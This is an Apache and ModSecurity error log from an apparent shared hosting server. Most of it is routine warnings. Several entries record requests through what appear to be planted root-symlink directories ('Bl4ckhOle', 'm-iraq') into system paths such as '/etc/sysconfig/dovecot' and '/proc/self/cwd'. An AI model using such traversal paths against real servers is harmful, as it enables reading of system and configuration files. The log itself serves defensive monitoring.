[Fri Jul 17 09:40:10.542296 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almrITsMb3am0TgkjETjDQAAAAo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1109&page_105=1617
[Fri Jul 17 09:40:11.202884 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:11.726167 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:11.917928 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:12.012168 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:12.103379 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:12.290115 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:13.097779 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:13.116740 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:13.143775 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:15.009544 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:15.958685 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_raw"] [unique_id "almrJ4-0g_VSPeIeFN3I0gAAAAs"]
[Fri Jul 17 09:40:15.959050 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_raw"] [unique_id "almrJ4-0g_VSPeIeFN3I0gAAAAs"]
[Fri Jul 17 09:40:15.959381 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_raw"] [unique_id "almrJ4-0g_VSPeIeFN3I0gAAAAs"]
[Fri Jul 17 09:40:16.921678 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/usbmon/usbmon1/power/runtime_status"] [unique_id "almrKCRF0UOO1RzB5_82uAAAAA4"]
[Fri Jul 17 09:40:16.921724 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/usbmon/usbmon1/power/runtime_status"] [unique_id "almrKCRF0UOO1RzB5_82uAAAAA4"]
[Fri Jul 17 09:40:17.255504 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.3:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/node0/memory75/node0/memory69/"] [unique_id "almrKQ5GPQ6hs4VrfMpKswAAAAY"]
[Fri Jul 17 09:40:17.255673 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.3:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/node0/memory75/node0/memory69/"] [unique_id "almrKQ5GPQ6hs4VrfMpKswAAAAY"]
[Fri Jul 17 09:40:17.289253 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:17.305267 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:17.597731 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 47.128.48.118:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/tmp/20251006-231638-aOQAfklFs1vIIJdP0LiYagAAAAs-file-zdomcp
[Fri Jul 17 09:40:18.905508 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:19.334238 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 47.82.14.167:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/116:3/device/device/firmware_node/eject
[Fri Jul 17 09:40:20.777746 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:33544] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:21.459457 2026] [ssl:error] [pid 1993671:tid 1993671] (5)Input/output error: [client 66.85.158.91:55632] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:23.575248 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:55712] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:24.273419 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:55716] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:25.515161 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:55758] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:25.863812 2026] [security2:error] [pid 2019501:tid 2019501] [client 52.167.144.166:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/vdeploy-global": Permission denied [hostname "v-deploy.com"] [uri "/wp-content/plugins/js_composer/assets/lib/vc_accordion/vc-accordion.min.js"] [unique_id "almrMbEWOaI5pmYo9fnXWgAAAAA"], referer: https://v-deploy.com/about-us/
[Fri Jul 17 09:40:25.863859 2026] [security2:error] [pid 2019501:tid 2019501] [client 52.167.144.166:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/vdeploy-ip": Permission denied [hostname "v-deploy.com"] [uri "/wp-content/plugins/js_composer/assets/lib/vc_accordion/vc-accordion.min.js"] [unique_id "almrMbEWOaI5pmYo9fnXWgAAAAA"], referer: https://v-deploy.com/about-us/
[Fri Jul 17 09:40:26.220119 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:03/firmware_node/subsystem/uevent
[Fri Jul 17 09:40:27.620751 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.92.236.251:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almrMyRF0UOO1RzB5_82xQAAAA4"]
[Fri Jul 17 09:40:27.620783 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.92.236.251:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almrMyRF0UOO1RzB5_82xQAAAA4"]
[Fri Jul 17 09:40:32.426384 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:32.496980 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:32.729190 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:50/subsystem/ttyS0/uevent"] [unique_id "almrOMzGNCrIh2ysmniN_wAAABY"]
[Fri Jul 17 09:40:32.729228 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:50/subsystem/ttyS0/uevent"] [unique_id "almrOMzGNCrIh2ysmniN_wAAABY"]
[Fri Jul 17 09:40:34.705318 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:59024] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:34.750167 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:39.218324 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:40.346279 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:59232] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:41.689368 2026] [security2:error] [pid 2050582:tid 2050582] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event2/device/mouse0/subsystem/mouse1/uevent"] [unique_id "almrQXXJZgUJ1jsEHj0qjQAAABc"]
[Fri Jul 17 09:40:41.689425 2026] [security2:error] [pid 2050582:tid 2050582] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event2/device/mouse0/subsystem/mouse1/uevent"] [unique_id "almrQXXJZgUJ1jsEHj0qjQAAABc"]
[Fri Jul 17 09:40:41.876755 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:48468] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:42.979361 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/soelim"] [unique_id "almrQvwooI4qY7Jg93pdwgAAABM"]
[Fri Jul 17 09:40:42.979751 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/soelim"] [unique_id "almrQvwooI4qY7Jg93pdwgAAABM"]
[Fri Jul 17 09:40:42.980160 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/soelim"] [unique_id "almrQvwooI4qY7Jg93pdwgAAABM"]
[Fri Jul 17 09:40:43.890463 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:44.658035 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:48564] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:46.724391 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:46.725897 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:40:47.362914 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:48656] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:52.461491 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:52.527824 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:52.727886 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:52.933556 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:52.942552 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:52.996236 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:53.118383 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:53.179444 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:53.634916 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:53.727456 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:53.910986 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:54.376346 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:54.465246 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:54.755403 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:55.495438 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:55.727695 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:55.862623 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:56.678911 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:57.166749 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrUQ5GPQ6hs4VrfMpK0gAAAAY"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:40:57.166794 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrUQ5GPQ6hs4VrfMpK0gAAAAY"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:40:58.325848 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:58.507790 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:58.780542 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:59.694723 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:40:59.713895 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:56364] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:40:59.997382 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:00.185125 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrVPwooI4qY7Jg93pd1AAAABM"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:41:00.185163 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrVPwooI4qY7Jg93pd1AAAABM"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:41:00.618408 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:00.951092 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:01.079643 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:01.169430 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:01.836029 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:02.505447 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:35030] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:02.568175 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:02.945455 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:03.239824 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:03.246537 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:03.803812 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:04.672578 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:04.726145 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:04.817704 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/battery/bind
[Fri Jul 17 09:41:05.007944 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/thermal/bind
[Fri Jul 17 09:41:05.097133 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:05.280236 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:05.404615 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:05.740886 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/subsystem/drivers/ac/bind
[Fri Jul 17 09:41:05.829753 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:02/subsystem/drivers/ec/unbind
[Fri Jul 17 09:41:06.105707 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/serio/devices/serio0/driver/unbind
[Fri Jul 17 09:41:06.288320 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:06.470969 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:07.247161 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/sysconfig/dovecot
[Fri Jul 17 09:41:07.486414 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:07.808323 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:07.926439 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:35212] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:41:07.960577 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:08.051594 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:08.420464 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:08.500885 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:08.885273 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:41:09.021544 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/xrandr"] [unique_id "almrXczGNCrIh2ysmniOIwAAABY"]
[Fri Jul 17 09:41:09.021869 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/xrandr"] [unique_id "almrXczGNCrIh2ysmniOIwAAABY"]
[Fri Jul 17 09:41:09.022280 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/xrandr"] [unique_id "almrXczGNCrIh2ysmniOIwAAABY"]
